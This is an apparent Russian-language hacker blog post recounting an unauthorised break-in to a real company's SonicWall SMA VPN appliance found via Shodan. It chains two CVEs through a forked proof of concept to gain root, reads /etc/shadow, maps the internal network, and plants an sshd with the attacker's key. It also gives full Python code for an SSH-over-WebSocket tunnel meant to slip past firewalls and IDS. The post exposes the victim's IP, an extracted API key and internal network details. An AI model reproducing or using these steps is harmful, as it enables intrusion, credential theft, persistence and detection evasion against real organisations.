Вступление
Rapid7 запостил write-up. PoC лежит на GitHub. CISA добавил в KEV. SonicWall выпустил патч. Технический разбор уже пережевали все кому не лень от Хакера до Хабра. Я не буду писать ещё одну статью про "как работает WebSocket прокси и почему path traversal это плохо".
Нашёл таргет в Shodan -> пробил -> получил root -> поднял SSH туннель. Без теории, без виртуалок, без "тестового окружения". На железе, которое стоит в конторе и которое кто-то забыл обновить.
Если твой SMA1000 торчит портом 443 в интернет и ты не обновился - считай, что ты уже опоздал. Но давай по порядку.
Поиск целей в Shodan
Для начала нужно понять, что я ищу. SMA1000 - это корпоративный VPN от SonicWall. На 443 порту у него крутится веб-морда "SonicWall WorkPlace". По ней и будем искать.
Есть 3 варианта как можно сделать, у веб версии самого шодана:
http.title:"WorkPlace" port:443
В CLI:
shodan search 'http.title:"WorkPlace" port:443' --fields ip_str,org,country_code --limit 50
Ну или просто запилить питон скрипт если есть API ключ, так как у меня есть API ключ то я выберу этот вариант
import requests
r = requests.get('https://api.shodan.io/shodan/host/search', params={
'key': 'YOUR_SHODAN_KEY',
'query': 'http.title:"WorkPlace" port:443',
'limit': 50
})
for m in r.json()['matches']:
print(f"{m['ip_str']:20s} {m.get('org','')[:30]:30s} {m.get('country_name','')}")
Shodan отдаёт тысячи таких хостов. Можно взять абсолютно любой. Для статьи я взял
111.93.96.156 - какая-то индийская контора. Судя по всему, кто-то решил что VPN-шлюз без обновлений - это отличная идея.Дальше по класике curl запрос:
curl -sk https://111.93.96.156/200 OK, Server: SMA/12.5 - это SMA WorkPlace. То что нужно. Двигаю дальше.Маленькая разведка
Уязвимость CVE-2026-15409 - это SSRF через WebSocket прокси. На SMA1000 есть эндпоинт
/wsproxy, который работает как netcat: ты передаёшь ему порт и хост в URL параметрах, и он туннелирует TCP трафик. Без авторизации. Без токена. Без ничего.Через этот wsproxy пробрасываемся к CouchDB на localhost:5984. CouchDB крутится с дефолтными
admin:admin.Второй CVE - CVE-2026-15410 - path traversal в
remove_hotfix workflow ctrl-service на localhost:8188. Принимает путь к файлу, делает chmod +x, выполняет от root, удаляет. Путь не валидируется - можно передать ../../../../../tmp/script.sh.Использую
smaexp.py - форк Rapid7 PoC. Он делает всю грязную работу: коннектится к wsproxy, получает CouchDB RCE через Erlang design documents, достаёт API key, и через XML-RPC execRemoveHotfix с path traversal получает root. Всё одной командой.Для начала recon:
python smaexp.py recon 111.93.96.156
Один скрипт вся картина:
- user:
uid=1010(couchdb)- я внутри как couchdb через CVE-2026-15409 - hostname:
SSLVPN-SMA8200v.sma- это SMA 8200v - OS: Debian 12 (bookworm), ядро 6.1.140
- shadow:
Permission denied- couchdb не может читать shadow (логично) - ports: видны открытые порты внутри
- interfaces:
172.16.0.206/16- внутренний IP, мы в корпоративной сети - API key:
71782d42d49a1756b99ccb56b3f37ed1- достаётся черезgentoo.getMariaDBEphemeralKey() - Root:
uid=0(root)УРА
Обрати внимание:
shadow - Permission denied ( couchdb, не root). Но ниже - Root (CVE-2026-15410) - uid=0. Скрипт сам прогоняет обе стадии: сначала CouchDB RCE (CVE-2026-15409), потом path traversal в execRemoveHotfix (CVE-2026-15410). Итог - root.CouchDB с
admin:admin в 2026 году на проде - это не баг, это фича. Видимо, кто-то решил что дефолтные креды в внутренней базе - "внутри же, никто не достучится". Но wsproxy на 443 без авторизации меняет правила игры.Root RCE - читаем shadow
Раз у меня root, прочитаю то, что couchdb не мог:
python smaexp.py exec 111.93.96.156 "cat /etc/shadow"
Теперь
shadow читается. Хеши у root и admin одинаковые - классика SonicWall. SHA-512, можно в John/hashcat.Разведка внутренней сети
Теперь, когда root, поcмотрю что вокруг. SMA стоит на границе сети - внутри у него вся корпоративная инфра.
python smaexp.py exec 111.93.96.156 "ip addr | grep inet; echo '---'; ip neigh show | head -10; echo '---'; grep search /etc/resolv.conf; echo '---'; ss -tlnp | head -15"
Что мы видим:
- Внутренний IP:
172.16.0.206/16- мы внутри корпоративной сети наtexmo.group(Tata Teleservices) - ARP соседи: 8 живых хостов с MAC-адресами (рабочие станции, принтеры, серверы)
- DNS search:
texmo.group- домен конторы - Порты:
0.0.0.0:443 - Apache (SMA WorkPlace)-
0.0.0.0:80, 455, 888 - Apache (доп. порты)-
0.0.0.0:8447 - nginx (reverse proxy)-
0.0.0.0:22 - sshd-
127.0.0.1:1050 - beam.smp (Erlang/CouchDB node)-
127.0.0.1:1051 - epmd (Erlang port mapper)-
127.0.0.1:1065-1066 - logserver-
127.0.0.1:1025 - replicator-
127.0.0.1:18080 - systemd-resolve-
127.0.0.1:70 - внутренний сервис управленияЧерез SMA видно всю внутреннюю сеть. Дальше можно сканировать внутренние хосты, читать базы, пивотиться в AD. Но это уже другая история.
SSH туннель через wsproxy
Выполнять команды через
smaexp.py exec неудобно - каждый раз заново прогоняем цепочку. Хочется нормальный интерактивный shell.Решение: поднимаем sshd прямо на таргете, с нашими SSH ключами, и подключаемся через WebSocket туннель. GFW (если таргет в Китае) или корпоративный firewall не видят SSH - он едет внутри WebSocket на 443 порту, выглядит как обычный HTTPS.
Деплой sshd через setup_sshd.py
Тут есть нюанс. На firmware 12.5.0 execRemoveHotfix с path traversal крашит CouchDB - ctrl-service падает и тянет за собой базу. Но скрипт при этом выполняется как root до краша. CouchDB перезапускается сама через ~10 секунд.python setup_sshd.py 111.93.96.156 --key sma_key --port 2222
- CouchDB RCE (CVE-2026-15409) - пишем bash-скрипт в /tmp/.sma_setup.sh как couchdb. Скрипт пишет наш pubkey в /tmp/.auth_keys и запускает sshd на 2222.
- execRemoveHotfix (CVE-2026-15410) - дёргаем через curl к ctrl-service на 8188. Path traversal
../../../../../tmp/.sma_setup.shзаставляет ctrl-service выполнить скрипт как root. CouchDB при этом падает - но скрипт уже отработал, sshd уже запущен. - Ждун - CouchDB перезапускается сама через ~10 секунд.
- Проверка - sshd висит на 2222, ready to go.
- wstunnel - поднимаем WebSocket туннель на localhost:2222.
Для обхода immutable-файлов: на SMA ключевые файлы
(/root/.ssh/authorized_keys, /etc/ssh/sshd_config) помечены chattr +i - даже root не может их изменить (chattr -i выдаёт "Operation not permitted"). Поэтому пишем pubkey в новый файл /tmp/.auth_keys и указываем его через -o AuthorizedKeysFile=/tmp/.auth_keys.WebSocket туннель
setup_sshd.py сам поднимает wstunnel, но можно и вручную:python wstunnel.py 111.93.96.156 2222 2222
Для firewall и IDS это выглядит как обычный HTTPS трафик на 443 порту. SSH протокол спрятан внутри WebSocket фреймов. GFW не видит SSH, корпоративный firewall не режет.
Root SSH shell
ssh -4 -i sma_key -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL root@localhost
Заключение
SonicWall SMA - отличная железка. Если её обновлять. Если нет - это бесплатный root shell для всех желающих, в комплекте с доступом к внутренней сети конторы.wstunnel.py
import sys, os
sys.stdout.reconfigure(encoding='utf-8')
for v in ['HTTP_PROXY','HTTPS_PROXY','ALL_PROXY','http_proxy','https_proxy','all_proxy']:
os.environ.pop(v, None)
import ssl, base64, threading, socket
from websockets.sync.client import connect as ws_connect
TARGET = sys.argv[1] if len(sys.argv) > 1 else '165.75.60.165'
LOCAL_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 2222
TARGET_PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 2222
def handle(client):
try:
ws = ws_connect(
f'wss://{TARGET}/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port={TARGET_PORT}',
subprotocols=['binary'],
user_agent_header=None,
additional_headers={'User-Agent': 'SMA Connect Agent'},
ssl=ssl._create_unverified_context(),
max_size=None,
ping_interval=None,
compression=None,
timeout=15,
)
try: ws.recv(timeout=2)
except: pass
def c2w():
try:
while True:
d = client.recv(65536)
if not d: break
ws.send(base64.b64encode(d).decode())
except: pass
def w2c():
try:
while True:
d = ws.recv(timeout=None)
if isinstance(d, str): d = d.encode()
client.sendall(d)
except: pass
t1 = threading.Thread(target=c2w, daemon=True)
t2 = threading.Thread(target=w2c, daemon=True)
t1.start(); t2.start()
t1.join(); t2.join()
ws.close()
except Exception as e:
print(f'[-] {e}', flush=True)
finally:
client.close()
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(('127.0.0.1', LOCAL_PORT))
srv.listen(5)
print(f'[+] Tunnel: 127.0.0.1:{LOCAL_PORT} -> {TARGET}:{TARGET_PORT}', flush=True)
print(f' ssh -i sma_key -p {LOCAL_PORT} root@localhost', flush=True)
while True:
c, _ = srv.accept()
print('[*] client connected', flush=True)
threading.Thread(target=handle, args=(c,), daemon=True).start()
Спасибо за внимание.
LIMB